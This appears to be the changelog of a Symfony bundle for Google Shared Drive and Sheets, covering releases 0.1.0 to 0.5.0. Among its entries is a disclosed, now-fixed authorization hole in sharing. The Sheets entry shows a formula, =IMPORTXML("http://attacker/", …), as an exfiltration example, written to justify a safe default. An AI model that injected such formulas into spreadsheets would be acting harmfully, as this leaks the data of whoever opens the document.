The sharing lookup now asks Google for role alongside the address, so the answer costs no
extra request — it rides along with the lookup that already runs.
Deliberately. canAccess() still passes anyone holding any grant, and the bundle still performs
the operation as the service user. Which role a given operation should require is the
application's call: Google itself wants organizer for some sharing changes and writer for
others depending on how the Shared Drive is configured, and a wrong matrix baked into a library
locks people out of their own documents. The bundle hands over the fact and stays out of the
decision.
A viewerRole field on DriveDocument. A folder listing switches per-item filtering off once
access to the folder is proven, so the field would be null in the most common path — and a
field that is usually empty cannot be told apart from "no role at all". roleOf() walks the
parent chain like the access check does, which makes it a per-item question: ask it on the page
for one document, not once per row of a listing. If a per-row badge turns out to be worth its
cost, the field can be added later; it could not be taken back.
Upgrading from 0.4.0: nothing to change — this is additive. ^0.4.0 will not pick 0.5.0 up,
so raise the constraint deliberately. The test suite grew from 225 to 236 cases.
The bundle now works with what is inside a spreadsheet, not only with the file around it.
Until this release it asked for the auth/spreadsheets scope and told you to enable the Sheets
API without ever calling it. Together with the templates added in 0.3.0 this completes a scenario
it could only half serve: take a template, fill it with the application's data, hand the user a
link to the live editor.
SpreadsheetService — listTabs(), read(), readMany(), write(), writeMany(),
append(), clear(), plus a range() helper that builds A1 notation with the quoting Google
requires. Registered as google_drive_docs.spreadsheets.
$rows = $sheets->read($fileId, 'Q3!A1:D20');
$sheets->append($fileId, [[$order->getId(), $order->getTotal()]], 'Orders');
$sheets->writeMany($fileId, ['Q3!A1' => $head, 'Q3!A4' => $body, 'Q3!A40' => $total]);
It runs on the same authenticated client as the Drive side, so the retry policy and backoff
apply here too. Access is not decided separately: every call — reads included — asks
DriveDocumentService, so a spreadsheet's contents are exactly as reachable as the
spreadsheet itself.SheetValuesUpdatedEvent, SheetRowsAppendedEvent and SheetRangeClearedEvent,
each carrying the range and, where Google reports it, the number of rows it actually changed.MAX_BATCH_RANGES (100) — readMany() and writeMany() refuse a longer list before
calling Google. This ceiling is the bundle's own, not a documented Google limit: batchGet
carries ranges in the query string, where a long list becomes a URL that may be rejected
unhelpfully.INPUT_RAW is the default, so "=SUM(A1:A2)" stays that text and "007" stays "007". Pass
SpreadsheetService::INPUT_AS_TYPED to let Google parse the input as if it had been typed —
formulas evaluate, dates and numbers coerce.
The default is deliberate: under INPUT_AS_TYPED any string that happens to start with =
becomes a live formula in a document other people open, and =IMPORTXML("http://attacker/", …)
is a working exfiltration primitive. Numbers and dates passed as numbers and dates land correctly
in either mode — the choice only changes what happens to strings that look like something
else. Same shape as grant() / grantAsService() in 0.3.1: a safe default with an explicit,
greppable way out.
read() and readMany() pad rows to the width of the widest one, so $rows[2][3] is always
safe: Google drops trailing empty cells from a row and trailing empty rows from the range, and an
unpadded request for A1:D3 can come back as one two-element row. Pick what cells should look
like with RENDER_FORMATTED (default), RENDER_RAW (underlying values, for arithmetic) or
RENDER_FORMULA.
Caught while auditing the above, all in code that never shipped:
range() left a tab name that reads like a cell reference unquoted. Q3 alone is cell Q3 of
the first tab, not the tab called Q3 — so appending to such a tab wrote to the wrong place,
silently.RENDER_RAW and made an unticked checkbox
indistinguishable from an empty cell.writeMany() reported the rows handed in rather than the rows Google said it changed, and the
append event named the requested range instead of where the block actually landed.Documented now because it has always been true and never said out loud. A viewer holding a
reader grant passes the access check, and the bundle then acts as the service user — which can
rename, move, trash and, as of this release, overwrite cells. If your UI has to tell readers from
editors, read the role from listPermissions() (or your own domain model) before offering a
mutating action; the bundle does not do that for you yet.
Upgrading from 0.3.x: nothing to change — everything here is additive. Note the constraint
though: ^0.3.0 will not pick 0.4.0 up, so raise it to ^0.4.0 deliberately. The Sheets API must
be enabled for your Google Cloud project, which the README has always required. The test suite
grew from 178 to 225 cases.
A security fix worth upgrading for, plus the hardening found alongside it.
grant(), grantToGroup(), revoke() and listPermissions() now assert the viewer's access
to the item first, like every other single-item operation already did. Before, an application
with a restrictive ViewerContextInterface let anyone who knew a file id share any document
with themselves, revoke other people's access, or read who a document is shared with.
Applications where seesEverything() returns true — the default AllowAllViewerContext
included — were never exposed and are unaffected.grantAsService() shares on behalf of the application, skipping the viewer check that
grant() performs. Without it the access check above has no answer for the "creator gets
access" pattern: documents are created by the service user, so one created in the drive root
is shared with nobody, and the grant meant to give its creator access is itself a grant on an
item that creator cannot yet reach. Role and grantee type are still validated, the event is
still dispatched, the cached sharing is still invalidated. It is a separate method rather than
a flag on grant() so every bypass is one grep away (#1).UnexpectedDriveStateException for the two cases where Google answers something that cannot
be true — an item on a Shared Drive with no parent, a listing whose nextPageToken never ends.
Both previously raised a bare RuntimeException, which slipped through the typed catches
consumers map onto status codes (#2).ViewerContextInterface is still the
default AllowAllViewerContext, so running without visibility filtering stays a choice.composer.json allows.permission_cache.ttl: 0 now keeps lookups out of the shared pool (per-request caching only).
Before, entries were saved with no lifetime and lived in the pool until it was cleared — the
opposite of what a zero lifetime suggests.canAccess() no longer reads a Google outage as a denial: only 403/404 means "not shared",
anything else surfaces instead of silently emptying every listing for every viewer. The
sharing lookup still swallows transient API exceptions for the current request, but lets
Errors through rather than hiding every document behind a bug.import() verifies the bytes it actually read, not only what filesize() reported, and reads
at most one byte past the limit so a failed stat cannot pull a huge file into memory first.reason, not the wording of the message, decides whether copy()
raises NotCopyableException and revoke() raises InheritedPermissionException.
getErrors() returns null rather than an empty array when the body carries no
error.errors, so that is guarded: iterating it warned, and a strict error handler — Symfony's,
in dev — turns the warning into a throw that masks the real Google failure.deleteForever() no longer mistakes a 403 carrying rateLimitExceeded for a missing Manager
role.move() refuses when Google does not report the item's current parent instead of sending an
empty removeParents.canAccess() reports a missing shared_drive_id immediately instead of walking 25 parents in
vain.nextPageToken
until memory runs out.DocumentDeletedEvent's docblock described the trash; it is dispatched on permanent deletion.Upgrading from 0.3.0: nothing to change unless your ViewerContextInterface restricts what
users see. If it does, check for the "creator gets access" pattern — a listener that shares a
just-created document with the person who created it. Where the document is created in the root
of the Shared Drive that grant must now be grantAsService() instead of grant(); inside a
folder the user already reaches it keeps working either way. The test suite grew from 151 to 178
cases.
trash(), restore(), listTrash(), deleteForever(). Deleting is no longer a
one-way door: items stay recoverable until Google purges the trash, 30 days on a Shared Drive.
A permanent delete needs the Manager role and reports InsufficientDriveRoleException
when the service user is only a "Content manager".copy() duplicates a document, createFromTemplate() starts one
from a template. Folders cannot be copied at all: the Drive API has no folder copy, so
Google's refusal surfaces as NotCopyableException instead of an obscure 403.export() renders a document as XLSX, CSV, PDF, DOCX and more, returning a
DriveExport whose PSR-7 stream pipes straight to the client, so a download never sits in
PHP memory. Google caps one export at 10 MB.import() uploads a local file and lets Google convert it into an editable
document: spreadsheets become Sheets, text documents Docs, decks Slides. convert: false
stores the file untouched. Refuses anything past Google's 5 MB multipart ceiling with
UploadTooLargeException; resumable upload is not implemented yet.listFolderPage(), searchPage() and listTrashPage() return a DrivePage
(iterable, countable, toArray()-able) costing exactly one files.list call. Drive the loop
off hasMore(), never off the item count: visibility filtering can leave a page short or
empty while later pages still hold documents.rateLimitExceeded, userRateLimitExceeded, backendError, internalError, and
connection-level failures. Never 400/401/403/404, where repeating the call cannot change the
answer. Tunable via retry.attempts / retry.initial_delay / retry.max_delay;
attempts: 0 restores fail-immediately.DriveCapabilities (canEdit, canRename,
canDelete, canTrash, canUntrash, canShare, canCopy, canDownload,
canAddChildren, canMove), so a UI renders only the actions that work. The flags describe
the service user the bundle authenticates as, not the person browsing — per-viewer
visibility stays with ViewerContextInterface.DriveDocument — trashed, createdTime, size (null for Google
documents, which occupy no storage), iconLink, thumbnailLink, lastModifiedBy.listFolder(), search() and listTrash() keep their signatures and still return every
item, but are now built on the paged primitives and fetch pages of 1000 instead of 100 — ten
times fewer round trips on a large drive.DocumentDeletedEvent now documents what it always did: the item was erased for good, not
trashed. Its docblock and the README claimed the opposite. Listeners keep their meaning.InsufficientDriveRoleException rather than a raw
Google\Service\Exception. Code catching the latter around delete() must catch the new one.DriveDocumentService::delete(). Its behaviour is unchanged — it erases the item for good —
but the name never said so. It will be removed in 1.0.Upgrading from 0.2.0: the only breaking change is that deprecation. Replace delete() with
deleteForever() to keep erasing items for good, or with trash() to make the action
recoverable — the latter is probably what a trash-can button in your UI should do. Everything
else is additive: new methods, new optional constructor arguments with defaults, new config keys
that default to the previous behaviour. Two dependencies became explicit now that they appear in
the public API: symfony/deprecation-contracts and psr/http-message.
DocumentCreatedEvent, FolderCreatedEvent,
DocumentRenamedEvent, DocumentMovedEvent, DocumentDeletedEvent, AccessGrantedEvent,
AccessRevokedEvent. Auditing and notifications now live in the host application.grantToGroup() plus a $type argument on grant().
Visibility filtering matches group grants through ViewerContextInterface::getViewerGroups().permission_cache.pool / permission_cache.ttl),
invalidated immediately when access changes through the bundle. A missing pool warns at
compile time instead of silently disabling the cache.ViewerContextInterface gained getViewerGroups(): array. Existing implementations must add
it; return an empty array when sharing with groups is not used.Upgrading from 0.1.0: add getViewerGroups() to your ViewerContextInterface implementation.
Everything else is backwards compatible — events and caching are opt-in.
First public release.
A Symfony bundle that turns a Google Shared Drive into a document workspace inside your application.
webViewLinkreader / commenter / writer)Implement ViewerContextInterface to tell the bundle who is browsing and whether they bypass filtering.
See the README for Google setup and usage.
How can I help you explore Laravel packages today?